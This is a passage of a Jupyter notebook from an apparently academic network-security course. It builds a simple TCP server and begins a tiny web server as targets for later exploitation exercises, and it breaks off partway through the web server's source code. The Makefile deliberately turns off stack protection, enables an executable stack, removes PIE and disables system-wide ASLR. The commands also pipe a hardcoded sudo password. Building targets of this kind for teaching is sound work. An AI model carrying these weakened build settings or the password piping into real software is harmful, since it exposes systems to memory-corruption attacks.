NetworkExploitation.ipynb

{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Network Exploitation"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## A Simple Server Example\n",
    "\n",
    "- a server that listens for TCP connection on port 7890\n",
    "- when a client connects it sends a message *Hello there!* and receives data until connection is closed\n",
    "- see demos/simple_server/ folder \n",
    "    - main.cpp and utility.h are the two files required to build the simple server\n",
    "    - use the provided Makefile to build and run the executable\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 2,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Collecting gorilla-cli\n",
      "  Downloading gorilla_cli-0.0.10-py3-none-any.whl (37 kB)\n",
      "Requirement already satisfied: requests in /home/kali/miniconda3/lib/python3.10/site-packages (from gorilla-cli) (2.28.1)\n",
      "Collecting halo\n",
      "  Downloading halo-0.0.31.tar.gz (11 kB)\n",
      "  Preparing metadata (setup.py) ... \u001b[?25ldone\n",
      "\u001b[?25hRequirement already satisfied: prompt-toolkit in /home/kali/miniconda3/lib/python3.10/site-packages (from gorilla-cli) (3.0.36)\n",
      "Collecting log_symbols>=0.0.14\n",
      "  Downloading log_symbols-0.0.14-py3-none-any.whl (3.1 kB)\n",
      "Collecting spinners>=0.0.24\n",
      "  Downloading spinners-0.0.24-py3-none-any.whl (5.5 kB)\n",
      "Collecting termcolor>=1.1.0\n",
      "  Downloading termcolor-2.3.0-py3-none-any.whl (6.9 kB)\n",
      "Collecting colorama>=0.3.9\n",
      "  Downloading colorama-0.4.6-py2.py3-none-any.whl (25 kB)\n",
      "Requirement already satisfied: six>=1.12.0 in /home/kali/miniconda3/lib/python3.10/site-packages (from halo->gorilla-cli) (1.16.0)\n",
      "Requirement already satisfied: wcwidth in /home/kali/miniconda3/lib/python3.10/site-packages (from prompt-toolkit->gorilla-cli) (0.2.6)\n",
      "Requirement already satisfied: certifi>=2017.4.17 in /home/kali/miniconda3/lib/python3.10/site-packages (from requests->gorilla-cli) (2022.12.7)\n",
      "Requirement already satisfied: idna<4,>=2.5 in /home/kali/miniconda3/lib/python3.10/site-packages (from requests->gorilla-cli) (3.4)\n",
      "Requirement already satisfied: charset-normalizer<3,>=2 in /home/kali/miniconda3/lib/python3.10/site-packages (from requests->gorilla-cli) (2.0.4)\n",
      "Requirement already satisfied: urllib3<1.27,>=1.21.1 in /home/kali/miniconda3/lib/python3.10/site-packages (from requests->gorilla-cli) (1.26.14)\n",
      "Building wheels for collected packages: halo\n",
      "  Building wheel for halo (setup.py) ... \u001b[?25ldone\n",
      "\u001b[?25h  Created wheel for halo: filename=halo-0.0.31-py3-none-any.whl size=11242 sha256=e07dc55a1477f735ecfa38bae9430be07e167ecbf0b2f1ab6dd689bf2d75b3f5\n",
      "  Stored in directory: /home/kali/.cache/pip/wheels/d6/ca/b5/cbdb58dd249b16ad9a507c3de26d79085c2a833d7baf5ac8bf\n",
      "Successfully built halo\n",
      "Installing collected packages: spinners, termcolor, colorama, log_symbols, halo, gorilla-cli\n",
      "Successfully installed colorama-0.4.6 gorilla-cli-0.0.10 halo-0.0.31 log_symbols-0.0.14 spinners-0.0.24 termcolor-2.3.0\n"
     ]
    }
   ],
   "source": [
    "! pip install gorilla-cli"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 4,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Welcome to Gorilla-CLI! Enhance your Command Line with the power of LLMs! \n",
      "\n",
      "Simply use `gorilla <your desired operation>` and Gorilla will do the rest. For instance:\n",
      "    gorilla generate 100 random characters into a file called test.txt\n",
      "    gorilla get the image ids of all pods running in all namespaces in kubernetes\n",
      "    gorilla list all my GCP instances\n",
      "\n",
      "A research prototype from UC Berkeley, Gorilla-CLI ensures user control and privacy:\n",
      " - Commands are executed only with explicit user approval.\n",
      " - While queries and error (stderr) logs are used to refine our model, we NEVER gather output (stdout) data.\n",
      "\n",
      "Visit github.com/gorilla-llm/gorilla-cli for examples and to learn more!\u001b[0m\n",
      "\u001b[0mUse your Github handle (rambasnet@gmail.com) as user id? [Y/n]: ^C\n",
      "Traceback (most recent call last):\n",
      "\u001b[0m  File \"/home/kali/miniconda3/lib/python3.10/site-packages/go_cli.py\", line 76, in get_user_id\n",
      "\u001b[0m    \u001b[0mwith open(USERID_FILE, \"r\") as f:\u001b[0m\n",
      "\u001b[0mFileNotFoundError\u001b[0m: \u001b[0m[Errno 2] No such file or directory: '/home/kali/.gorilla-cli-userid'\u001b[0m\n",
      "\u001b[0m\n",
      "During handling of the above exception, another exception occurred:\n",
      "\n",
      "\u001b[0mTraceback (most recent call last):\n",
      "\u001b[0m  File \"/home/kali/miniconda3/bin/gorilla\", line 8, in <module>\n",
      "\u001b[0m    \u001b[0msys.exit(main())\u001b[0m\n",
      "\u001b[0m  File \"/home/kali/miniconda3/lib/python3.10/site-packages/go_cli.py\", line 132, in main\n",
      "\u001b[0m    \u001b[0muser_id = get_user_id()\u001b[0m\n",
      "\u001b[0m  File \"/home/kali/miniconda3/lib/python3.10/site-packages/go_cli.py\", line 91, in get_user_id\n",
      "\u001b[0m    \u001b[0minput(f\"Use your Github handle ({user_id}) as user id? [Y/n]: \")\u001b[0m\n",
      "\u001b[0mKeyboardInterrupt\u001b[0m\u001b[0m\n",
      "\u001b[0m\u001b[0m"
     ]
    }
   ],
   "source": [
    "! gorilla show me the current directory"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 6,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "'/home/kali/Fa23/NetworkSecurity'"
      ]
     },
     "execution_count": 6,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# check the working directory\n",
    "%pwd"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 7,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "00-TableOfContents.ipynb   nmapResults.txt\n",
      "arp-spoofing.png\t   nmapResults.xml\n",
      "demos\t\t\t   port_bind_exploit.bin\n",
      "example.html\t\t   port_bind_shellcode.bin\n",
      "graph.svg\t\t   README.md\n",
      "hosts.txt\t\t   resources\n",
      "icmp.pcap\t\t   ScapyCreateSendReceivePackets.ipynb\n",
      "junk.txt\t\t   ScapyIntro.ipynb\n",
      "labs\t\t\t   ScapyScripts.ipynb\n",
      "LICENSE\t\t\t   shellcode\n",
      "local_exploit.bin\t   SniffingWithScapy.ipynb\n",
      "NetworkExploitation.ipynb  tracegraph.svg\n",
      "Networking.ipynb\t   Traceroute-BashVsScapy.ipynb\n",
      "NetworkSniffing.ipynb\t   washington.html\n",
      "NetworkUtility.ipynb\n"
     ]
    }
   ],
   "source": [
    "# list files and folders from current working directory\n",
    "! ls"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 8,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "/home/kali/Fa23/NetworkSecurity/demos/simple_server\n"
     ]
    }
   ],
   "source": [
    "# change working directory to demos/simple_server\n",
    "%cd demos/simple_server"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 10,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "total 16\n",
      "drwxr-xr-x 2 kali kali 4096 Aug 30 12:33 .\n",
      "drwxr-xr-x 5 kali kali 4096 Aug 21 13:43 ..\n",
      "-rw-r--r-- 1 kali kali 2020 Aug 21 13:43 main.cpp\n",
      "-rw-r--r-- 1 kali kali  871 Aug 30 12:33 Makefile\n"
     ]
    }
   ],
   "source": [
    "! ls -al"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 5,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "#include <stdio.h>\n",
      "#include <stdlib.h>\n",
      "#include <string.h>\n",
      "#include <unistd.h>\n",
      "#include <sys/socket.h>\n",
      "#include <netinet/in.h>\n",
      "#include <arpa/inet.h>\n",
      "#include <iostream>\n",
      "#include \"../util/utility.h\"\n",
      "\n",
      "\n",
      "#define PORT 7890\t// the port users will be connecting to\n",
      "\n",
      "using namespace std;\n",
      "\n",
      "int main(void) {\n",
      "\tint sockfd, new_sockfd;  // listen on sock_fd, new connection on new_fd\n",
      "\tstruct sockaddr_in host_addr, client_addr;\t// my address information\n",
      "\tsocklen_t sin_size;\n",
      "\tint recv_length=1, yes=1;\n",
      "\tchar buffer[1024];\n",
      "\n",
      "\tif ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)\n",
      "\t\tfatal(\"in socket\");\n",
      "\n",
      "\tif (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)\n",
      "\t\tfatal(\"setting socket option SO_REUSEADDR\");\n",
      "\t\n",
      "\thost_addr.sin_family = AF_INET;\t\t // host byte order\n",
      "\thost_addr.sin_port = htons(PORT);\t // short, network byte order\n",
      "\thost_addr.sin_addr.s_addr = INADDR_ANY; // automatically fill with my IP\n",
      "\tmemset(&(host_addr.sin_zero), '\\0', 8); // zero the rest of the struct\n",
      "\n",
      "\tif (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)) == -1)\n",
      "\t\tfatal(\"binding to socket\");\n",
      "\n",
      "\tif (listen(sockfd, 5) == -1)\n",
      "\t\tfatal(\"listening on socket\");\n",
      "\n",
      "\twhile(1) {    // Accept loop\n",
      "        printf(\"Server running on: %s:%d\\n\", inet_ntoa(host_addr.sin_addr), ntohs(host_addr.sin_port));\n",
      "\t\tsin_size = sizeof(struct sockaddr_in);\n",
      "\t\tnew_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);\n",
      "\t\tif(new_sockfd == -1)\n",
      "\t\t\tfatal(\"accepting connection\");\n",
      "\t\tprintf(\"server: got connection from %s port %d\\n\",inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));\n",
      "\t\t\n",
      "        // send Hello there... to client\n",
      "        send(new_sockfd, \"Hello there!\\n\", 13, 0);\n",
      "\t\t\n",
      "        // receive upto 1024 bytes and store into buffer\n",
      "        recv_length = recv(new_sockfd, &buffer, 1024, 0);\n",
      "\t\twhile(recv_length > 0) {\n",
      "\t\t\tprintf(\"RECV: %d bytes\\n\", recv_length);\n",
      "\t\t\tdump(buffer, recv_length);\n",
      "            // receive 1024 bytes\n",
      "\t\t\trecv_length = recv(new_sockfd, &buffer, 1024, 0);\n",
      "\t\t}\n",
      "\t\tclose(new_sockfd);\n",
      "\t}\n",
      "\treturn 0;\n",
      "}\n",
      "\n"
     ]
    }
   ],
   "source": [
    "! cat main.cpp"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 7,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "#include <stdio.h>\n",
      "#include <stdlib.h>\n",
      "#include <string.h>\n",
      "#include <string>\n",
      "\n",
      "using namespace std;\n",
      "\n",
      "// A function to display an error message and then exit\n",
      "void fatal(string message) {\n",
      "   char error_message[100];\n",
      "\n",
      "   strcpy(error_message, \"[!!] Fatal Error \");\n",
      "   strncat(error_message, message.c_str(), 83);\n",
      "   perror(error_message);\n",
      "   exit(-1);\n",
      "}\n",
      "\n",
      "// An error checked malloc() wrapper function\n",
      "void *ec_malloc(unsigned int size) {\n",
      "   void *ptr;\n",
      "   ptr = malloc(size);\n",
      "   if(ptr == NULL)\n",
      "      fatal(\"in ec_malloc() on memory allocation\");\n",
      "   return ptr;\n",
      "}\n",
      "\n",
      "// dumps raw memory in hex byte and printable split format\n",
      "void dump(char *data_buffer, const unsigned int length) {\n",
      "\tunsigned char byte;\n",
      "\tunsigned int i, j;\n",
      "\tfor(i=0; i < length; i++) {\n",
      "\t\tbyte = data_buffer[i];\n",
      "\t\tprintf(\"%02x \", data_buffer[i]);  // display byte in hex\n",
      "\t\tif(((i%16)==15) || (i==length-1)) {\n",
      "\t\t\tfor(j=0; j < 15-(i%16); j++)\n",
      "\t\t\t\tprintf(\"   \");\n",
      "\t\t\tprintf(\"| \");\n",
      "\t\t\tfor(j=(i-(i%16)); j <= i; j++) {  // display printable bytes from line\n",
      "\t\t\t\tbyte = data_buffer[j];\n",
      "\t\t\t\tif((byte > 31) && (byte < 127)) // outside printable char range\n",
      "\t\t\t\t\tprintf(\"%c\", byte);\n",
      "\t\t\t\telse\n",
      "\t\t\t\t\tprintf(\".\");\n",
      "\t\t\t}\n",
      "\t\t\tprintf(\"\\n\"); // end of the dump line (each line 16 bytes)\n",
      "\t\t} // end if\n",
      "\t} // end for\n",
      "}\n",
      "\n"
     ]
    }
   ],
   "source": [
    "! cat ../util/utility.h"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 10,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "# rule for compiling program\n",
      "# Note: -m32 is required to compile into object files and the final binary\n",
      "COMPILER = g++\n",
      "COMPILER_FLAGS = -c -g -Wall -std=c++17 -m32\n",
      "BUILD_FLAGS = -m32 -fno-stack-protector -z execstack -no-pie\n",
      "\n",
      "# list .cpp files separated by space\n",
      "CPP_FILES = main.cpp\n",
      "\n",
      "# executable program name\n",
      "PROGRAM_NAME = simple_server.exe\n",
      "\n",
      "# rule for compiling and building program\n",
      "# make or make all triggers the following rule\n",
      "build:\n",
      "\t# disable ASLR\n",
      "\techo 0 | sudo tee /proc/sys/kernel/randomize_va_space\n",
      "\t# compiles .cpp to object file .o\n",
      "\t$(COMPILER) $(COMPILER_FLAGS) $(CPP_FILES)\n",
      "\t# builds executable from object files\n",
      "\t$(COMPILER) $(BUILD_FLAGS) -o $(PROGRAM_NAME) *.o\n",
      "\n",
      "# rule for running programming\n",
      "# make run triggers the following rule\n",
      "run:\n",
      "\t./$(PROGRAM_NAME)\n",
      "\n",
      "# rule for clean up\n",
      "# make clean triggers the following rule\n",
      "clean:\n",
      "\trm -f $(PROGRAM_NAME) *.o"
     ]
    }
   ],
   "source": [
    "! cat Makefile"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 11,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[sudo] password for kali: # disable ASLR\n",
      "echo 0 | sudo tee /proc/sys/kernel/randomize_va_space\n",
      "0\n",
      "# compiles .cpp to object file .o\n",
      "g++ -c -g -Wall -std=c++17 -m32 main.cpp\n",
      "# builds executable from object files\n",
      "g++ -m32 -fno-stack-protector -z execstack -no-pie -o simple_server.exe *.o\n"
     ]
    }
   ],
   "source": [
    "# compile and build the executable\n",
    "! echo kali | sudo -S make"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### run  ./simple_server.exe from a terminal\n",
    "\n",
    "```bash\n",
    "┌──(kali㉿K)-[~/projects/NetworkSecurity/demos/simple_server]\n",
    "└─$ make run                                                                 \n",
    "./simple_server.exe\n",
    "Server running on: 0.0.0.0:7890\n",
    "```\n",
    "\n",
    "- notice the log as clients connect to it\n",
    "\n",
    "### install telnet client if not found"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 12,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Usage: telnet [OPTION...] [HOST [PORT]]\n",
      "Login to remote system HOST (optionally, on service port PORT)\n",
      "\n",
      " General options:\n",
      "\n",
      "  -4, --ipv4                 use only IPv4\n",
      "  -6, --ipv6                 use only IPv6\n",
      "  -8, --binary               use an 8-bit data transmission\n",
      "  -a, --login                attempt automatic login\n",
      "  -b, --bind=ADDRESS         bind to specific local ADDRESS\n",
      "  -c, --no-rc                do not read the user's .telnetrc file\n",
      "  -d, --debug                turn on debugging\n",
      "  -e, --escape=CHAR          use CHAR as an escape character\n",
      "  -E, --no-escape            use no escape character\n",
      "  -K, --no-login             do not automatically login to the remote system\n",
      "  -l, --user=USER            attempt automatic login as USER\n",
      "  -L, --binary-output        use an 8-bit data transmission for output only\n",
      "  -n, --trace=FILE           record trace information into FILE\n",
      "  -r, --rlogin               use a user-interface similar to rlogin\n",
      "\n",
      " Encryption control:\n",
      "\n",
      "  -x, --encrypt              encrypt the data stream, if possible\n",
      "\n",
      " Authentication and Kerberos options:\n",
      "\n",
      "  -k, --realm=REALM          obtain tickets for the remote host in REALM\n",
      "                             instead of the remote host's realm\n",
      "  -X, --disable-auth=ATYPE   disable type ATYPE authentication\n",
      "\n",
      "  -?, --help                 give this help list\n",
      "      --usage                give a short usage message\n",
      "  -V, --version              print program version\n",
      "\n",
      "Mandatory or optional arguments to long options are also mandatory or optional\n",
      "for any corresponding short options.\n",
      "\n",
      "Report bugs to <bug-inetutils@gnu.org>.\n"
     ]
    }
   ],
   "source": [
    "! telnet --help"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 13,
   "metadata": {
    "scrolled": true
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Reading package lists... Done\n",
      "Building dependency tree... Done\n",
      "Reading state information... Done\n",
      "The following packages were automatically installed and are no longer required:\n",
      "  bluez-firmware catfish dh-elpa-helper docutils-common firmware-ath9k-htc\n",
      "  firmware-atheros firmware-brcm80211 firmware-intel-sound firmware-iwlwifi\n",
      "  firmware-libertas firmware-realtek firmware-sof-signed\n",
      "  firmware-ti-connectivity firmware-zd1211 gir1.2-gtksource-3.0\n",
      "  gir1.2-javascriptcoregtk-4.0 gir1.2-soup-2.4 gir1.2-webkit2-4.0\n",
      "  gir1.2-xfconf-0 gobject-introspection kali-linux-firmware king-phisher\n",
      "  libblockdev-crypto2 libblockdev-fs2 libblockdev-loop2 libblockdev-part-err2\n",
      "  libblockdev-part2 libblockdev-swap2 libblockdev-utils2 libblockdev2\n",
      "  libcfitsio9 libgdal31 libgdal32 libgeos3.11.1 libmongocrypt0 libmpdec3\n",
      "  libmujs2 libncurses5 libnginx-mod-http-geoip libnginx-mod-http-image-filter\n",
      "  libnginx-mod-http-xslt-filter libnginx-mod-mail libnginx-mod-stream\n",
      "  libnginx-mod-stream-geoip libpoppler123 libprotobuf23 libpython3.10\n",
      "  libpython3.10-dev libpython3.10-minimal libpython3.10-stdlib\n",
      "  libsoup-gnome2.4-1 libspatialite7 libsuperlu5 libtiff5 libtinfo5\n",
      "  libwebsockets17 libyara9 libzxingcore1 linux-image-6.0.0-kali3-amd64\n",
      "  nginx-core php8.1-mysql pwgen python-pastedeploy-tpl\n",
      "  python3-advancedhttpserver python3-alabaster python3-boltons\n",
      "  python3-cairo-dev python3-commonmark python3-cryptography37 python3-docutils\n",
      "  python3-flask-security python3-geoip2 python3-geojson python3-graphene\n",
      "  python3-graphene-sqlalchemy python3-graphql-core python3-graphql-relay\n",
      "  python3-icalendar python3-imagesize python3-jaraco.classes python3-maxminddb\n",
      "  python3-promise python3-py python3-pytz-deprecation-shim\n",
      "  python3-requests-file python3-roman python3-rule-engine python3-rx\n",
      "  python3-smoke-zephyr python3-snowballstemmer python3-speaklater\n",
      "  python3-sphinx python3-texttable python3.10 python3.10-dev\n",
      "  python3.10-minimal ruby3.0 ruby3.0-dev ruby3.0-doc sphinx-common tftp\n",
      "Use 'sudo apt autoremove' to remove them.\n",
      "The following NEW packages will be installed:\n",
      "  telnet\n",
      "0 upgraded, 1 newly installed, 0 to remove and 50 not upgraded.\n",
      "Need to get 41.0 kB of archives.\n",
      "After this operation, 54.3 kB of additional disk space will be used.\n",
      "Get:1 http://http.kali.org/kali kali-rolling/main amd64 telnet all 0.17+2.4-2 [41.0 kB]\n",
      "Fetched 41.0 kB in 1s (48.4 kB/s) \u001b[0m\u001b[33m\n",
      "\n",
      "\u001b7\u001b[0;23r\u001b8\u001b[1ASelecting previously unselected package telnet.\n",
      "(Reading database ... 444076 files and directories currently installed.)\n",
      "Preparing to unpack .../telnet_0.17+2.4-2_all.deb ...\n",
      "\u001b7\u001b[24;0f\u001b[42m\u001b[30mProgress: [  0%]\u001b[49m\u001b[39m [..........................................................] \u001b8\u001b7\u001b[24;0f\u001b[42m\u001b[30mProgress: [ 20%]\u001b[49m\u001b[39m [###########...............................................] \u001b8Unpacking telnet (0.17+2.4-2) ...\n",
      "\u001b7\u001b[24;0f\u001b[42m\u001b[30mProgress: [ 40%]\u001b[49m\u001b[39m [#######################...................................] \u001b8Setting up telnet (0.17+2.4-2) ...\n",
      "\u001b7\u001b[24;0f\u001b[42m\u001b[30mProgress: [ 60%]\u001b[49m\u001b[39m [##################################........................] \u001b8\u001b7\u001b[24;0f\u001b[42m\u001b[30mProgress: [ 80%]\u001b[49m\u001b[39m [##############################################............] \u001b8\n",
      "Scanning processes...                                                                            ]\n",
      "Scanning linux images...                                                        \n",
      "\n",
      "Running kernel seems to be up-to-date.\n",
      "\n",
      "No services need to be restarted.\n",
      "\n",
      "No containers need to be restarted.\n",
      "\n",
      "No user sessions are running outdated binaries.\n",
      "\n",
      "No VM guests are running outdated hypervisor (qemu) binaries on this host.\n"
     ]
    }
   ],
   "source": [
    "! echo kali | sudo -S apt install telnet"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### run telnet client from another terminal\n",
    "- you can also use netcat (nc)\n",
    "    - nc uses only \\n as a delimeter on Linux\n",
    "- interact with the server by sending some data on telnet prompt\n",
    "```bash\n",
    "telnet server_ip port\n",
    "```\n",
    "- telnet is line-buffered, hit enter to send data\n",
    "    - e.g., hi from cleint...[enter]\n",
    "- when done enter `ctrl ]` to close connection on telnet client prompt >\n",
    "- enter quit command to quit the telnet client\n",
    "```\n",
    "telnet>quit\n",
    "```\n",
    "\n",
    "\n",
    "```bash\n",
    "┌──(kali㉿K)-[~]\n",
    "└─$ telnet 127.0.0.1 7890 \n",
    "Trying 127.0.0.1...\n",
    "Connected to 127.0.0.1.\n",
    "Escape character is '^]'.\n",
    "Hello there!\n",
    "hi from client...\n",
    "```\n",
    "\n",
    "### simple_server log as the client sends data\n",
    "```bash\n",
    "┌──(kali㉿K)-[~/projects/NetworkSecurity/demos/simple_server]\n",
    "└─$ make run                                                                 \n",
    "./simple_server.exe\n",
    "Server running on: 0.0.0.0:7890\n",
    "server: got connection from 127.0.0.1 port 38656\n",
    "RECV: 19 bytes\n",
    "68 69 20 66 72 6f 6d 20 63 6c 69 65 6e 74 2e 2e | hi from client..\n",
    "2e 0d 0a                                        | ...\n",
    "```\n",
    "\n",
    "\n",
    "### run telnet from different VM or a system\n",
    "- interact with the server by sending some data on telnet prompt\n",
    "- telnet is line-buffered, hit enter to send data\n",
    "- when done, enter ctrl+] to get the client prompt >\n",
    "- enter quit to exit the telnet\n",
    "\n",
    "```bash\n",
    "    telnet <server ip> 7890\n",
    "    this is a test from a remote system...\n",
    "    here's some more data...\n",
    "    do you read this from another system?\n",
    "    ctrl+]\n",
    "```\n",
    "\n",
    "### check simple_server log on the terminal\n",
    "- notice `\\x0D` and `\\x0A` at the end of every data sent\n",
    "- telnet and HTTP protocols expect lines/data to be terminted with these two bytes\n",
    "    - carriage return and new line feed '\\r\\n'"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 11,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "       Oct   Dec   Hex   Char                        Oct   Dec   Hex   Char\n",
      "       012   10    0A    LF  '\\n' (new line)         112   74    4A    J\n",
      "       015   13    0D    CR  '\\r' (carriage ret)     115   77    4D    M\n"
     ]
    }
   ],
   "source": [
    "# lets check the ASCII table\n",
    "! man ascii | egrep \"Hex|0A|0D\""
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### telnet to a webserver\n",
    "- open a terminal\n",
    "- issue HEAD / HTTP/1.0 command and enter twice\n",
    "\n",
    "```bash \n",
    "┌──(kali㉿K)-[~]\n",
    "└─$ telnet example.com 80                                                                                \n",
    "Trying 93.184.216.34...\n",
    "Connected to example.com.\n",
    "Escape character is '^]'.\n",
    "HEAD /index.html HTTP/1.0 <--- HTTP HEAD Request\n",
    "[enter][enter]\n",
    "\n",
    "HTTP/1.0 200 OK\n",
    "Accept-Ranges: bytes\n",
    "Content-Type: text/html\n",
    "Date: Tue, 22 Jun 2021 22:49:43 GMT\n",
    "Last-Modified: Tue, 22 Jun 2021 22:44:04 GMT\n",
    "Server: ECS (dna/63B1)\n",
    "Content-Length: 94\n",
    "Connection: close\n",
    "\n",
    "Connection closed by foreign host.\n",
    "```\n",
    "\n",
    "- issue GET request\n",
    "\n",
    "```bash\n",
    "┌──(kali㉿K)-[~]\n",
    "└─$ telnet example.com 80                                                                                \n",
    "Trying 93.184.216.34...\n",
    "Connected to example.com.\n",
    "Escape character is '^]'.\n",
    "GET /index.html HTTP/1.0\n",
    "\n",
    "HTTP/1.0 200 OK\n",
    "Accept-Ranges: bytes\n",
    "Content-Type: text/html\n",
    "Date: Tue, 22 Jun 2021 22:51:39 GMT\n",
    "Last-Modified: Tue, 22 Jun 2021 22:44:04 GMT\n",
    "Server: ECS (dna/63B1)\n",
    "Content-Length: 94\n",
    "Connection: close\n",
    "\n",
    "<html><head><title>edgecastcdn.net</title></head><body><h1>edgecastcdn.net</h1></body></html>\n",
    "Connection closed by foreign host.\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## A Tiny Web Server\n",
    "- similar to simple server but uses HTTP protocol to communicate\n",
    "- handles HTTP GET and HEAD requests\n",
    "- looks for the requested resource in the local directory callled `webroot` and sends it to the client/browser\n",
    "- if the file/resource is not found, the server responds with 404 HTTP (`File Not Found`) error in response\n",
    "- the demo web server is found in `demos/tinyweb/` folder\n",
    "- use the provided Makefile to compile and build the Tinyweb server\n",
    "\n",
    "```bash\n",
    "$ cd <tinyweb_folder>\n",
    "$ make\n",
    "$ make run\n",
    "```"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 12,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "'/home/kali/Fa23/NetworkSecurity/demos/simple_server'"
      ]
     },
     "execution_count": 12,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# check the current working directory\n",
    "%pwd"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 13,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "/home/kali/Fa23/NetworkSecurity/demos/tinyweb\n"
     ]
    }
   ],
   "source": [
    "%cd ../tinyweb"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 14,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "#include <stdio.h>\n",
      "#include <fcntl.h>\n",
      "#include <stdlib.h>\n",
      "#include <string.h>\n",
      "#include <unistd.h>\n",
      "#include <sys/stat.h>\n",
      "#include <sys/socket.h>\n",
      "#include <netinet/in.h>\n",
      "#include <arpa/inet.h>\n",
      "#include \"../util/utility.h\"\n",
      "#include \"../util/net_utility.h\"\n",
      "\n",
      "enum REQUEST_TYPE {GET, POST, HEAD, UNKNOWN};\n",
      "\n",
      "using namespace std;\n",
      "\n",
      "#define PORT 80   // the port users will be connecting to\n",
      "#define WEBROOT \"./webroot\" // the web server's root directory\n",
      "\n",
      "void handle_connection(int, struct sockaddr_in *); // handle web requests\n",
      "int get_file_size(int); // returns the filesize of open file descriptor\n",
      "void send_file_not_found(const int); // send file not found error\n",
      "void send_file(const int, char *); // send file/resource requested\n",
      "\n",
      "int main(void) {\n",
      "   int sockfd, new_sockfd, yes=1; \n",
      "   struct sockaddr_in host_addr, client_addr;   // my address information\n",
      "   socklen_t sin_size;\n",
      "\n",
      "   printf(\"Accepting web requests on port %d\\n\", PORT);\n",
      "\n",
      "   if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)\n",
      "      fatal(\"in socket\");\n",
      "\n",
      "   if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)\n",
      "      fatal(\"setting socket option SO_REUSEADDR\");\n",
      "\n",
      "   host_addr.sin_family = AF_INET;      // host byte order\n",
      "   host_addr.sin_port = htons(PORT);    // short, network byte order\n",
      "   host_addr.sin_addr.s_addr = INADDR_ANY; // automatically fill with my IP\n",
      "   memset(&(host_addr.sin_zero), '\\0', 8); // zero the rest of the struct\n",
      "\n",
      "   if (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)) == -1)\n",
      "      fatal(\"binding to socket\");\n",
      "\n",
      "   if (listen(sockfd, 20) == -1)\n",
      "      fatal(\"listening on socket\");\n",
      "\n",
      "   while(1) {   // Accept loop\n",
      "      sin_size = sizeof(struct sockaddr_in);\n",
      "      new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);\n",
      "      if(new_sockfd == -1)\n",
      "         fatal(\"accepting connection\");\n",
      "\n",
      "      handle_connection(new_sockfd, &client_addr);\n",
      "   }\n",
      "   return 0;\n",
      "}\n",
      "\n",
      "/* This function handles the connection on the passed socket from the\n",
      " * passed client address.  The connection is processed as a web request\n",
      " * and this function replies over the connected socket.  Finally, the \n",
      " * passed socket is closed at the end of the function.\n",
      " */\n",
      "void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr) {\n",
      "\tchar *ptr, request[500];\n",
      "\tint length = 0;\n",
      "\tREQUEST_TYPE req_type = UNKNOWN;\n",
      "\n",
      "\t// receive one line from client and store it into request buffer\n",
      "\tlength = recv_line(sockfd, request);\n",
      "\n",
      "\tprintf(\"Got request from %s:%d \\\"%s\\\"\\n\", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request);\n",
      "\tprintf(\"Received: %d bytes\\n\", length);\n",
      "\n",
